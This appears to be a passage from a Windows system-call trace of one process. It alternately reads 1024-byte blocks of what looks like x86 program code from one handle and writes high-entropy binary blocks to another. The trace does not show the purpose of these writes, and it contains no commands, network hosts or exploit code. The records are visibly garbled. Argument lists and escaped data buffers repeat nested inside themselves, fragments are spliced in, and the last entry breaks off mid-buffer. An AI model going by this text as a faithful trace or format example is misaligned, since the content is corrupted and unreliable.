 00953  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\200\207!\271M\335\313\250\24\20\247\234\310x\235>f\341\202\33\13\260?\352Hs\22~\\314\217_>\270\2h5,k\15\3234\246\272\267\6,.\314\267\313nk\331\345\20\326\30\2546\226\211jq\330B\270\274S\355%\307}"&\12\212)\251\200K\350o[P]Ml\110\243J`[e@u*Oo\207\343\347\344\370~\216\148\200`b\17\244\234o\323)\365\264qL\263\225\223\76\225z\221Y\10\227\347\362\301M|\20\344\350\271\275\304z\273\330\312X)\230<\373\200\305\324\21\305X5\266B\217\303\324\255\361g\365\316\274\22\336\32\12\346\257)\206\264\207\334\272\226\223\253A\237\216\233\361\323\11@\306(\32!\216-\307P\315\264\365\302\343\\303Y\332\17T\25\303d"#\214\6f\376@n5\347\270\315a`\347\362\355\376&\311HF\212\11.\326\337\216\3OF\222$;\333eM\\253\260\216Z\300\317JM\247\204u}\17a\227\333[\246\333t\215\372\275@\346\371\33\256Lk9\32\255d\234\12\3275\276\361\245\3746\256o.\347Fn\11\265\235\206\4+o\211\253WG\\342N\30F;\256!!\327\240\247+\222)\237f\37\364^9F\261\11\M?l\202v\350\205]\0\350U&,`A(\276\321\306jzD\36\367\23,\366]\304u\31R#\221\223tf\11\351b\13\274\274c\215S\342\246\221\263\23{\216?\310\210\250\312Jzz\7\311\351\315\345\316\255\276\342s\373\300v\220X\324-\335\243\13\343\261\317;\244\217\324\204\276\275\377W7\231h\12\347\306\354g\363\235\2570\361Zg; \205H\216\330o\206\206s\277\16@h\263\261\241\224\12GdM\235!\270\11\332{\340\13U\232\26\7\231\26V\210E\161\2\356K\312z\226UI\243@I\344", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) &\12\212)\251\200K\350o[P]Ml\110\243J`[e@u*Oo\207\343\347\344\370~\216\148\200`b\17\244\234o\323)\365\264qL\263\225\223\76\225z\221Y\10\227\347\362\301M|\20\344\350\271\275\304z\273\330\312X)\230<\373\200\305\324\21\305X5\266B\217\303\324\255\361g\365\316\274\22\336\32\12\346\257)\206\264\207\334\272\226\223\253A\237\216\233\361\323\11@\306(\32!\216-\307P\315\264\365\302\343\\303Y\332\17T\25\303d (92, 0, 0, 0, "\200\207!\271M\335\313\250\24\20\247\234\310x\235>f\341\202\33\13\260?\352Hs\22~\\314\217_>\270\2h5,k\15\3234\246\272\267\6,.\314\267\313nk\331\345\20\326\30\2546\226\211jq\330B\270\274S\355%\307}"&\12\212)\251\200K\350o[P]Ml\110\243J`[e@u*Oo\207\343\347\344\370~\216\148\200`b\17\244\234o\323)\365\264qL\263\225\223\76\225z\221Y\10\227\347\362\301M|\20\344\350\271\275\304z\273\330\312X)\230<\373\200\305\324\21\305X5\266B\217\303\324\255\361g\365\316\274\22\336\32\12\346\257)\206\264\207\334\272\226\223\253A\237\216\233\361\323\11@\306(\32!\216-\307P\315\264\365\302\343\\303Y\332\17T\25\303d"#\214\6f\376@n5\347\270\315a`\347\362\355\376&\311HF\212\11.\326\337\216\3OF\222$;\333eM\\253\260\216Z\300\317JM\247\204u}\17a\227\333[\246\333t\215\372\275@\346\371\33\256Lk9\32\255d\234\12\3275\276\361\245\3746\256o.\347Fn\11\265\235\206\4+o\211\253WG\\342N\30F;\256!!\327\240\247+\222)\237f\37\364^9F\261\11\M?l\202v\350\205]\0\350U&,`A(\276\321\306jzD\36\367\23,\366]\304u\31R#\221\223tf\11\351b\13\274\274c\215S\342\246\221\263\23{\216?\310\210\250\312Jzz\7\311\351\315\345\316\255\276\342s\373\300v\220X\324-\335\243\13\343\261\317;\244\217\324\204\276\275\377W7\231h\12\347\306\354g\363\235\2570\361Zg; \205H\216\330o\206\206s\277\16@h\263\261\241\224\12GdM\235!\270\11\332{\340\13U\232\26\7\231\26V\210E\161\2\356K\312z\226UI\243@I\344", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 00954  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\201E\362m\1f\3]\360\213\303\350\4\376\377\377\213\320\17\266\302\215\4@\2154\305\374\247\1@f\270\1\0\17\267\310\17\267LN\376f\211M\360\17\267M\362f;M\360r\13\17\267M\360f)M\362@\353\337\213M\374f\211\31\213M\370f\211\1\17\267E\362@\213M\364f\211\1\213\302^[\213\345]\302\14\0\215@\0U\213\354QV\213\360\377u\14\377u\10\215E\376P\213\306\350\234\376\377\377^Y]\302\10\0\213\300U\213\354\203\304\370\377u\14\377u\10\215E\370\350h\374\377\377\213E\374\271\7\0\0\0\231\367\371\213\302@YY]\302\10\0\203\304\360T\350\317\322\377\377\17\267\4$\203\304\20\303\215@\0U\213\354S\213M\10\273\0\1\0\0+\231\374\376\377\377;\323}\2\213\332\205\333t\32\213U\10\213\222\374\376\377\377\213M\10\215\224\21\0\377\377\377\213\313\350\2\233\377\377\213E\10\1\230\374\376\377\377[]\303\213\300U\213\354\213\320\205\322t\5\203\352\4\213\22\213M\10Q\350\245\377\377\377Y]\303\213\300U\213\354\203\304\340SV\213\362\213\330\213E\10Pj\4\211u\340\306E\344\0\211]\350\306E\354\0\215E\340Pj\1\271\200\250\1@\215E\360\272\20\0\0\0\350\270\357\377\377\213\320\215E\360\350^\377\377\377Y^[\213\345]\303\215@\0U\213\354S\213E\10\203\300\374\213\20\353\2\377\0\213\10\17\266\11\213]\10:K\373t\361\213\0+\302@\213U\10\211B\364[]\303\220U\213\354\213E\10\200x\355\0u*\213E\10\213@\10\377p\14\377p\10\213E\10\215H\356\213E\10\215P\360\213E\10\203\300\362\350\235\376\377\377\213E\10\306@\355\1]\303U\213\354\213E\10\200x\343\0u1\213E\10\213@\10\377p\14\377p\10\213E\10\203\300\344P\213", ) , ) == 0x0
 00955  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, ",\200\256\361\271\355\245s\311\33\4\274L\24\226\17\262\303\333T/\256T\217@\33\231t\261q[\356\304\27631\33j\363H\363\257\216=\233\213j\215$\344\236\374\204\304\\313\354_\353\216;\3444\227\265\353\303\245\365|)\344\216\253F\4\321k\275\361\21\211\324\261\277\253\212\317\254\261\265\351ik\32eD#\256-|$1|S\330\350\266+\354\371\223{\26"\10A\15\327VKRJ\217\326(~\1\300\20'];\217\362:\353\310\2629h\366&j\7\207\273\303\361\23\325\317W\251\263\10\25R\326\11\241\33\2508\221\205\23\11\324\277C&s\3264=[\235\254\327\36\336\366\321\2042\210\277\27F[fx$\204ps\317W!\14@\240\312\355\364\301\363\215\236\266\314\24\16,pD\11n\322N\370\223\25767\2276\271\267\275\241\356\333DB\366\303S\356\343\20\251\360A\326\336\215i\267M/jz2w9R\257\204\244U\364\2554\242\327\231^c\16\324\315\177\232\32\364wC\200D\207\255\237\3368a\4\337v\2563_\325~Ew\300{a\250^v\364"\325\244Z\22W\217Y\354\17.\261/\265\313E\302\16T\5\371\347\360xW\202lhZ\343U\1,\33zE\233\2707\313\317\317F\242o\322#\312\245\376\256\27\355`\352\233d\31\244!s3.a\345\3600y\206\352\5\3471F\314D\362\222)\316\31A\307+e-\251\15\2453r2AX\230\240\241,\3214\232KV*\352\336\\267\10\206\234L\24\326\221\31\261#.\261\273"7\3132\24Z]\345\325\24\346X\357\204\340\17/P\350\277"\20\231\363\304,\363\14fF\331\363H\32\206\373\240_\200|\270\26\334`5/s\374\206\344\15\371d\256\266o\356\214\3772\255\333\14\337\241\243@\233\237\222\275\363\322", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \10A\15\327VKRJ\217\326(~\1\300\20'];\217\362:\353\310\2629h\366&j\7\207\273\303\361\23\325\317W\251\263\10\25R\326\11\241\33\2508\221\205\23\11\324\277C&s\3264=[\235\254\327\36\336\366\321\2042\210\277\27F[fx$\204ps\317W!\14@\240\312\355\364\301\363\215\236\266\314\24\16,pD\11n\322N\370\223\25767\2276\271\267\275\241\356\333DB\366\303S\356\343\20\251\360A\326\336\215i\267M/jz2w9R\257\204\244U\364\2554\242\327\231^c\16\324\315\177\232\32\364wC\200D\207\255\237\3368a\4\337v\2563_\325~Ew\300{a\250^v\364 (92, 0, 0, 0, ",\200\256\361\271\355\245s\311\33\4\274L\24\226\17\262\303\333T/\256T\217@\33\231t\261q[\356\304\27631\33j\363H\363\257\216=\233\213j\215$\344\236\374\204\304\\313\354_\353\216;\3444\227\265\353\303\245\365|)\344\216\253F\4\321k\275\361\21\211\324\261\277\253\212\317\254\261\265\351ik\32eD#\256-|$1|S\330\350\266+\354\371\223{\26"\10A\15\327VKRJ\217\326(~\1\300\20'];\217\362:\353\310\2629h\366&j\7\207\273\303\361\23\325\317W\251\263\10\25R\326\11\241\33\2508\221\205\23\11\324\277C&s\3264=[\235\254\327\36\336\366\321\2042\210\277\27F[fx$\204ps\317W!\14@\240\312\355\364\301\363\215\236\266\314\24\16,pD\11n\322N\370\223\25767\2276\271\267\275\241\356\333DB\366\303S\356\343\20\251\360A\326\336\215i\267M/jz2w9R\257\204\244U\364\2554\242\327\231^c\16\324\315\177\232\32\364wC\200D\207\255\237\3368a\4\337v\2563_\325~Ew\300{a\250^v\364"\325\244Z\22W\217Y\354\17.\261/\265\313E\302\16T\5\371\347\360xW\202lhZ\343U\1,\33zE\233\2707\313\317\317F\242o\322#\312\245\376\256\27\355`\352\233d\31\244!s3.a\345\3600y\206\352\5\3471F\314D\362\222)\316\31A\307+e-\251\15\2453r2AX\230\240\241,\3214\232KV*\352\336\\267\10\206\234L\24\326\221\31\261#.\261\273"7\3132\24Z]\345\325\24\346X\357\204\340\17/P\350\277"\20\231\363\304,\363\14fF\331\363H\32\206\373\240_\200|\270\26\334`5/s\374\206\344\15\371d\256\266o\356\214\3772\255\333\14\337\241\243@\233\237\222\275\363\322", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) 7\3132\24Z]\345\325\24\346X\357\204\340\17/P\350\277 (92, 0, 0, 0, ",\200\256\361\271\355\245s\311\33\4\274L\24\226\17\262\303\333T/\256T\217@\33\231t\261q[\356\304\27631\33j\363H\363\257\216=\233\213j\215$\344\236\374\204\304\\313\354_\353\216;\3444\227\265\353\303\245\365|)\344\216\253F\4\321k\275\361\21\211\324\261\277\253\212\317\254\261\265\351ik\32eD#\256-|$1|S\330\350\266+\354\371\223{\26"\10A\15\327VKRJ\217\326(~\1\300\20'];\217\362:\353\310\2629h\366&j\7\207\273\303\361\23\325\317W\251\263\10\25R\326\11\241\33\2508\221\205\23\11\324\277C&s\3264=[\235\254\327\36\336\366\321\2042\210\277\27F[fx$\204ps\317W!\14@\240\312\355\364\301\363\215\236\266\314\24\16,pD\11n\322N\370\223\25767\2276\271\267\275\241\356\333DB\366\303S\356\343\20\251\360A\326\336\215i\267M/jz2w9R\257\204\244U\364\2554\242\327\231^c\16\324\315\177\232\32\364wC\200D\207\255\237\3368a\4\337v\2563_\325~Ew\300{a\250^v\364"\325\244Z\22W\217Y\354\17.\261/\265\313E\302\16T\5\371\347\360xW\202lhZ\343U\1,\33zE\233\2707\313\317\317F\242o\322#\312\245\376\256\27\355`\352\233d\31\244!s3.a\345\3600y\206\352\5\3471F\314D\362\222)\316\31A\307+e-\251\15\2453r2AX\230\240\241,\3214\232KV*\352\336\\267\10\206\234L\24\326\221\31\261#.\261\273"7\3132\24Z]\345\325\24\346X\357\204\340\17/P\350\277"\20\231\363\304,\363\14fF\331\363H\32\206\373\240_\200|\270\26\334`5/s\374\206\344\15\371d\256\266o\356\214\3772\255\333\14\337\241\243@\233\237\222\275\363\322", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 00956  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\215\205\354\376\377\377P\213E\374\3509\267\377\377P\215E\354Pj\4\350\255\317\377\377P\350G\317\377\377\205\300tC\213\303\215\225\354\376\377\377\271\0\1\0\0\350\275\264\377\377Nu.\213\3\20080u'\213\3\211\205\350\376\377\377\213\265\350\376\377\377\205\366t\5\203\356\4\2136S\213\316I\213\3\272\2\0\0\0\350@\267\377\3773\300ZYYd\211\20h\205\226\0@\215E\374\350\7\262\377\377\303\351\201\253\377\377\353\360^[\213\345]\303\0\377\377\377\377\2\0\0\0yy\0\0\377\377\377\377\4\0\0\0yyyy\0\0\0\0U\213\354\203\304\324SVW3\322\211U\324\211U\330\211E\374\215}\3743\300Uh,\236\0@d\3770d\211 \203?\0\17\204;\7\0\0\213E\10\203\270\370\376\377\377\2\17\215+\7\0\0\213E\10\377\200\370\376\377\377\306E\342 \306E\355\0\306E\343\0\306E\341\0\351\371\6\0\0\213\7\17\266\0\210E\373\17\266E\373\17\266\300\17\243\5,\250\1@s'\213E\10P\213\7\3509$\0\0\213\320\213\7\350\224\373\377\377Y\213\7\350H$\0\0\211\7\306E\342 \351\272\6\0\0\213\7\3506$\0\0\211\7\17\266]\373\213\303\4\237,\32s\3\200\353 \213\303\4\277,\32s\20\200\373Mu\10\200}\342Hu\2\263N\210]\342\17\266\303\203\300\336\203\3708\17\207i\6\0\0\17\266\200\220\227\0@\377$\205\311\227\0@\17\0\0\0\0\17\0\0\0\0\0\0\0\15\0\0\0\0\0\0\0\0\0\0\16\0\0\0\0\0\0\13\0\14\5\3\0\2\6\0\0\0\0\4\7\0\0\0\0\10\11\0\0\0\0\1\12\353\235\0@\11\230\0@X\230\0@\205\230\0@\262\230\0@\27\231\0@\304\231\0@\310\232\0@\371\232\0@*\233\0@_\233\0", ) , ) == 0x0
 00957  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "e\274,\264u\213\16I%\303\331\24\36\361\37@\10\255\34\253\317\302\223f\373\{\357\266\275\334\307\354n\256\246\322\25c\17#\242\5->\222\27\342\346\24\247\360\15\233Lk\300<\362\312L\302"\304V\360\377\340\257>5\273\317>\2546\255(\257\341\221\21\33\357\24T\216\22\232\326\305\26\211\225m7\257\16T3\213T\372X\316\6*\32\224\206fZK~\10\266*\334\0\300\25\0\322\16\355\2040\322X\15\232\3278\237\367\276\241r  \211\357,\17G\211&\357\376\267\367x;*O&\4v\21\2772\313\220\207\347%I4\12\350\225\300\212\346\235\324\252U\366\277\373\210_\177(3_\213D\350\310\32\30,\25O\364G\371 \177+:'\6*@\346,\277\\376R*\217?tN\367\21Y\277\246\313C?\204\217h\204\217\223$\364\2051\345l\26\0\304\32\226r\366-\363\345"\242=\263\210\15j]\264\331\367\36\2020\301\36\32\22C\340\232\321z\20\4U\370\331X\2\5 \212@d\226\236Z\302D>\201\336\220, 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \304V\360\377\340\257>5\273\317>\2546\255(\257\341\221\21\33\357\24T\216\22\232\326\305\26\211\225m7\257\16T3\213T\372X\316\6*\32\224\206fZK~\10\266*\334\0\300\25\0\322\16\355\2040\322X\15\232\3278\237\367\276\241r  \211\357,\17G\211&\357\376\267\367x;*O&\4v\21\2772\313\220\207\347%I4\12\350\225\300\212\346\235\324\252U\366\277\373\210_\177(3_\213D\350\310\32\30,\25O\364G\371 \177+:'\6*@\346,\277\\376R*\217?tN\367\21Y\277\246\313C?\204\217h\204\217\223$\364\2051\345l\26\0\304\32\226r\366-\363\345273&\22#]\251\2340\346\62\21\232K\301Cy\352h\15U\333#\272\354\1\11\17\30\37\263\353\364P\6\274\263\E\23\4\250\217L\214_\30\200\317\276!}\376\35t\37O&\20n\331\225\317\36{\371\0A\13V\212\332G\224;\203\333n\370\261S\31\3552\6\333'-\274\33\213\21/E\327\3Ef\326$\314\313\274$\gF]\225\352)\243\330\263Uj\304\273\34\357\220\263\214]\264Tw\242\262g\364\231\221\256\334\256\374 (92, 0, 0, 0, "e\274,\264u\213\16I%\303\331\24\36\361\37@\10\255\34\253\317\302\223f\373\{\357\266\275\334\307\354n\256\246\322\25c\17#\242\5->\222\27\342\346\24\247\360\15\233Lk\300<\362\312L\302"\304V\360\377\340\257>5\273\317>\2546\255(\257\341\221\21\33\357\24T\216\22\232\326\305\26\211\225m7\257\16T3\213T\372X\316\6*\32\224\206fZK~\10\266*\334\0\300\25\0\322\16\355\2040\322X\15\232\3278\237\367\276\241r  \211\357,\17G\211&\357\376\267\367x;*O&\4v\21\2772\313\220\207\347%I4\12\350\225\300\212\346\235\324\252U\366\277\373\210_\177(3_\213D\350\310\32\30,\25O\364G\371 \177+:'\6*@\346,\277\\376R*\217?tN\367\21Y\277\246\313C?\204\217h\204\217\223$\364\2051\345l\26\0\304\32\226r\366-\363\345"\242=\263\210\15j]\264\331\367\36\2020\301\36\32\22C\340\232\321z\20\4U\370\331X\2\5 \212@d\226\236Z\302D>\201\336\220, 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 00958  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "{\203\350"tc\203\350\5t^\203\350\32t\16\353`\203\350at\7\203\350\7t`\353T\200}\340\0uN\272<\236\0@\271\5\0\0\0\213\306\350\253\347\377\377\205\300t*\272D\236\0@\271\3\0\0\0\213\306\350\226\347\377\377\205\300t\25\272H\236\0@\271\4\0\0\0\213\306\350\201\347\377\377\205\300u\31\306E\341\1\353\23\17\266E\3404\1\210E\340F\200>\0\17\205a\377\377\377\17\267E\352f\211E\336\200}\341\0t\33f\203}\336\0u\10f\307E\336\14\0\353\14f\203}\336\14v\5f\203m\336\14\203}\364\2~\7\307E\364\2\0\0\0\213E\10P\17\267E\336\213U\364\350b\370\377\377Y\3515\3\0\0U\350\242\370\377\377YU\350\377\370\377\377Y\203}\364\2~\7\307E\364\2\0\0\0\213E\10P\17\267E\350\213U\364\3501\370\377\377Y\351\4\3\0\0U\350q\370\377\377YU\350\316\370\377\377Y\203}\364\2~\7\307E\364\2\0\0\0\213E\10P\17\267E\346\213U\364\350\0\370\377\377Y\351\323\2\0\0U\350@\370\377\377Y\203}\364\1u\24\213E\10P\241(\350\1@\350c\373\377\377Y\351\262\2\0\0\213E\10P\241,\350\1@\350O\373\377\377Y\351\236\2\0\0U\350\13\370\377\377YU\350h\370\377\377Y\203}\364\3~\7\307E\364\3\0\0\0\213E\10P\17\267E\344\213U\364\350\232\367\377\377Y\351m\2\0\0U\350>\370\377\377Y\2137N\272<\236\0@\271\5\0\0\0\213\306\3505\346\377\377\205\300u'f\203}\352\14r\3\203\306\3\213E\10P\272\2\0\0\0\213\306\350\373\366\377\377Y\203\7\4\306E\341\1\351'\2\0\0\272D\236\0@\271\3\0\0\0\213\306\350\371\345\377\377\205\300u'f\203}\352\14r\3\203\306", ) tc\203\350\5t^\203\350\32t\16\353`\203\350at\7\203\350\7t`\353T\200}\340\0uN\272<\236\0@\271\5\0\0\0\213\306\350\253\347\377\377\205\300t*\272D\236\0@\271\3\0\0\0\213\306\350\226\347\377\377\205\300t\25\272H\236\0@\271\4\0\0\0\213\306\350\201\347\377\377\205\300u\31\306E\341\1\353\23\17\266E\3404\1\210E\340F\200>\0\17\205a\377\377\377\17\267E\352f\211E\336\200}\341\0t\33f\203}\336\0u\10f\307E\336\14\0\353\14f\203}\336\14v\5f\203m\336\14\203}\364\2~\7\307E\364\2\0\0\0\213E\10P\17\267E\336\213U\364\350b\370\377\377Y\3515\3\0\0U\350\242\370\377\377YU\350\377\370\377\377Y\203}\364\2~\7\307E\364\2\0\0\0\213E\10P\17\267E\350\213U\364\3501\370\377\377Y\351\4\3\0\0U\350q\370\377\377YU\350\316\370\377\377Y\203}\364\2~\7\307E\364\2\0\0\0\213E\10P\17\267E\346\213U\364\350\0\370\377\377Y\351\323\2\0\0U\350@\370\377\377Y\203}\364\1u\24\213E\10P\241(\350\1@\350c\373\377\377Y\351\262\2\0\0\213E\10P\241,\350\1@\350O\373\377\377Y\351\236\2\0\0U\350\13\370\377\377YU\350h\370\377\377Y\203}\364\3~\7\307E\364\3\0\0\0\213E\10P\17\267E\344\213U\364\350\232\367\377\377Y\351m\2\0\0U\350>\370\377\377Y\2137N\272<\236\0@\271\5\0\0\0\213\306\3505\346\377\377\205\300u'f\203}\352\14r\3\203\306\3\213E\10P\272\2\0\0\0\213\306\350\373\366\377\377Y\203\7\4\306E\341\1\351'\2\0\0\272D\236\0@\271\3\0\0\0\213\306\350\371\345\377\377\205\300u'f\203}\352\14r\3\203\306", ) == 0x0
 00959  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\203o\200\254\247\325\223f\227\252\262\346\207d\326~\205\367\340\332\3V\251\335S\\345\364~\230\266\235\13\337)\343\21\16|\222o\0\37\356\250\260\33\247@\207\361\317-\342\266\274\222\325\207\257\313lY\332\272\253\313\242\273%\313\227\324H!\5\\6\3278K;u\12\267\345\31\376\0\324\217\14m\373\365\333\236\343\256\0B\307\337\310{de$\330\254\316\216\225|\253\233(x7X\5\355\332O\320o\250+\321\201\320\16\207B\363Y\224\241x/\212\314\341\356j\222\242\304ID\230\266\235o\201),qj\2{\232\335\300p\251YK\341\aY\243\367\342\263 I(~\323Vx%E[i\27\364\333P5\149A\270\204L\354\274?#\372\23]F\25fu\334W\335?\210\347\362\2648f%\315m\232G\352+G\347\327y\34x\360x\370\231[|\207=\100G`|P@W\13\351\314]\10~c]\342\24s\300^6\30/\362$\310\242`7{A\12{v\266\72\222\16\203\371\370\323\250\3246\351\320\344\233\273\226\265\23\274O\273\376r+\337v;\342_\13\211\337A\6\2624\352 \235c`kN6V\310\247\30M\10wp\322Q\272o\305q\336\32N\305\245\352\320`"{A5\366->\104Ik\200m\264\345\202\351"\241\264WZ\337\301eB\274\300K\235\332\321\301&\311l\322\0\277\357\365G==\204_\341\341\253+\244_\14\261\374&\236\364\362\11\312\277\266\224\264\371\357]R\216"\272\245,\301z\305\233\362/\2317\244DQ(\177\13!\377\14\16\273\261\301(\323F\335\26\223'\201\224\2\32\314\25\340\\254\271A\216\336\321w\202\253", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) K;u\12\267\345\31\376\0\324\217\14m\373\365\333\236\343\256\0B\307\337\310{de$\330\254\316\216\225|\253\233(x7X\5\355\332O\320o\250+\321\201\320\16\207B\363Y\224\241x/\212\314\341\356j\222\242\304ID\230\266\235o\201),qj\2{\232\335\300p\251YK\341\aY\243\367\342\263 I(~\323Vx%E[i\27\364\333P5\149A\270\204L\354\274?#\372\23]F\25fu\334W\335?\210\347\362\2648f%\315m\232G\352+G\347\327y\34x\360x\370\231[|\207=\100G`|P@W\13\351\314]\10~c]\342\24s\300^6\30/\362$\310\242`7{A\12{v\266\72\222\16\203\371\370\323\250\3246\351\320\344\233\273\226\265\23\274O\273\376r+\337v;\342_\13\211\337A\6\2624\352 \235c`kN6V\310\247\30M\10wp\322Q\272o\305q\336\32N\305\245\352\320` (92, 0, 0, 0, "\203o\200\254\247\325\223f\227\252\262\346\207d\326~\205\367\340\332\3V\251\335S\\345\364~\230\266\235\13\337)\343\21\16|\222o\0\37\356\250\260\33\247@\207\361\317-\342\266\274\222\325\207\257\313lY\332\272\253\313\242\273%\313\227\324H!\5\\6\3278K;u\12\267\345\31\376\0\324\217\14m\373\365\333\236\343\256\0B\307\337\310{de$\330\254\316\216\225|\253\233(x7X\5\355\332O\320o\250+\321\201\320\16\207B\363Y\224\241x/\212\314\341\356j\222\242\304ID\230\266\235o\201),qj\2{\232\335\300p\251YK\341\aY\243\367\342\263 I(~\323Vx%E[i\27\364\333P5\149A\270\204L\354\274?#\372\23]F\25fu\334W\335?\210\347\362\2648f%\315m\232G\352+G\347\327y\34x\360x\370\231[|\207=\100G`|P@W\13\351\314]\10~c]\342\24s\300^6\30/\362$\310\242`7{A\12{v\266\72\222\16\203\371\370\323\250\3246\351\320\344\233\273\226\265\23\274O\273\376r+\337v;\342_\13\211\337A\6\2624\352 \235c`kN6V\310\247\30M\10wp\322Q\272o\305q\336\32N\305\245\352\320`"{A5\366->\104Ik\200m\264\345\202\351"\241\264WZ\337\301eB\274\300K\235\332\321\301&\311l\322\0\277\357\365G==\204_\341\341\253+\244_\14\261\374&\236\364\362\11\312\277\266\224\264\371\357]R\216"\272\245,\301z\305\233\362/\2317\244DQ(\177\13!\377\14\16\273\261\301(\323F\335\26\223'\201\224\2\32\314\25\340\\254\271A\216\336\321w\202\253", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \241\264WZ\337\301eB\274\300K\235\332\321\301&\311l\322\0\277\357\365G==\204_\341\341\253+\244_\14\261\374&\236\364\362\11\312\277\266\224\264\371\357]R\216 (92, 0, 0, 0, "\203o\200\254\247\325\223f\227\252\262\346\207d\326~\205\367\340\332\3V\251\335S\\345\364~\230\266\235\13\337)\343\21\16|\222o\0\37\356\250\260\33\247@\207\361\317-\342\266\274\222\325\207\257\313lY\332\272\253\313\242\273%\313\227\324H!\5\\6\3278K;u\12\267\345\31\376\0\324\217\14m\373\365\333\236\343\256\0B\307\337\310{de$\330\254\316\216\225|\253\233(x7X\5\355\332O\320o\250+\321\201\320\16\207B\363Y\224\241x/\212\314\341\356j\222\242\304ID\230\266\235o\201),qj\2{\232\335\300p\251YK\341\aY\243\367\342\263 I(~\323Vx%E[i\27\364\333P5\149A\270\204L\354\274?#\372\23]F\25fu\334W\335?\210\347\362\2648f%\315m\232G\352+G\347\327y\34x\360x\370\231[|\207=\100G`|P@W\13\351\314]\10~c]\342\24s\300^6\30/\362$\310\242`7{A\12{v\266\72\222\16\203\371\370\323\250\3246\351\320\344\233\273\226\265\23\274O\273\376r+\337v;\342_\13\211\337A\6\2624\352 \235c`kN6V\310\247\30M\10wp\322Q\272o\305q\336\32N\305\245\352\320`"{A5\366->\104Ik\200m\264\345\202\351"\241\264WZ\337\301eB\274\300K\235\332\321\301&\311l\322\0\277\357\365G==\204_\341\341\253+\244_\14\261\374&\236\364\362\11\312\277\266\224\264\371\357]R\216"\272\245,\301z\305\233\362/\2317\244DQ(\177\13!\377\14\16\273\261\301(\323F\335\26\223'\201\224\2\32\314\25\340\\254\271A\216\336\321w\202\253", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 00960  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "8\0\17\205\374\370\377\377\213E\10\377\210\370\376\377\3773\300ZYYd\211\20h3\236\0@\215E\324\272\2\0\0\0\350}\252\377\377\303\351\323\243\377\377\353\353_^[\213\345]\303\0\0AM/PM\0\0\0A/P\0AMPM\0\0\0\0AAAA\0\0\0\0AAA\0 \0\0\0U\213\354\201\304\370\376\377\377SV\213\332\213\3603\300\211\205\374\376\377\3773\300\211\205\370\376\377\377\205\333t\13U\213\303\350\35\370\377\377Y\353\14U\270\270\236\0@\350\17\370\377\377Y\215\225\0\377\377\377\213\306\213\215\374\376\377\377\350\307\252\377\377^[\213\345]\302\10\0\0\0\0C\0\0\0SVW\213\372\213\360\213\37\353\1C\213\306\350u\254\377\377;\330\177\7\200|\36\377 t\355\211\37_^[\303U\213\354\203\304\364SVW\211M\370\211U\374\213\370\306E\367\0\213E\10\306\0\0\213U\374\213\307\350\267\377\377\377\213]\374\213\333\366\353\26\213\306\3\300\215\4\200\17\266T\37\377f\203\3520f\3\302\213\360C\213\307\350\31\254\377\377;\330\177\22\17\266D\37\377\4\320,\12s\7f\201\376\350\3r\315\213E\374;\30~\35\213\303\213U\374\213\22*\302\213U\10\210\2\213E\374\211\30\213E\370f\2110\306E\367\1\17\266E\367_^[\213\345]\302\4\0\213\300U\213\354\203\304\354SVW3\333\211]\354\213\331\211U\370\211E\3743\300Uh:\240\0@d\3770d\211 \306E\367\0\205\333\17\204\200\0\0\0\213U\370\213E\374\350\15\377\377\377\213\363\205\366t\5\203\356\4\2136\215E\354P\213U\370\213\22\213\316\213E\374\350\333\255\377\377\213E\354\211E\360\213\363\205\366t\5\203\356\4\2136\213}\360\205\377t\5\203\357\4\213?W\213E\360\350U\255\377\377P", ) , ) == 0x0
 00961  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "]\363%Y\322\363\224d2\2319\317\212\374\227'U9$\341\337\335\324(\23\256{\314\5\327PU\32\216\177\264\376\360\343\342\315\235\274\366\377n\207\375D\306\3\351\302\265\217\226\336\204\3458F\373\2469'#\272\372\212'"\211U\344{\312\217Ey\241Q\222O\231W\5\26\23$\301\251\21\247\301\362\206*\232\20 \345\215%\332\211\200\344\200w\371w\322\210\232\33\241D\310\333\315S\324\4\244\276\266\13\272\312\332\315$\37\263\253(\5\21\16\227a?SV\1\221\0\306o\35\372^\37\242]*\254\377\377~\224\2567\3121{\302\260,\201T\234\301\335\202S\2468\206\6\35p\335\241\226\234~fJ\253#\327\213\342$\205Qn\254N\354\370\16\374e\4\264\272]\322q\227\213\337g]\203\270\372\253\341\37S\32\11\357\11\311\347\256\375\333\37\311;\274\372\11\355\212Ww\261\15a\322\255\13g\300@\350\37\275\21\231n\243f,\260\321\366y\337!\12(\214_(\336hcF\277+I8]\327\341q\245l\1\253`\378\241[)\361\330\20\310\10\361\201P\7\312\221\336o\336\13\21\275c\356\277\357&\2660\367~.F\257KR)t\26\305\376\321\214l\370A\240\232\365\254\222\257\265Y&\376\304\300\346\262\322m\14[\26_\371c\250\4\361:\305\226\366\234$\312\347\335>.i\201\214b3\345%#\302_m\336\375iS\223\276\267=lygV'rt\251\2554\375nx\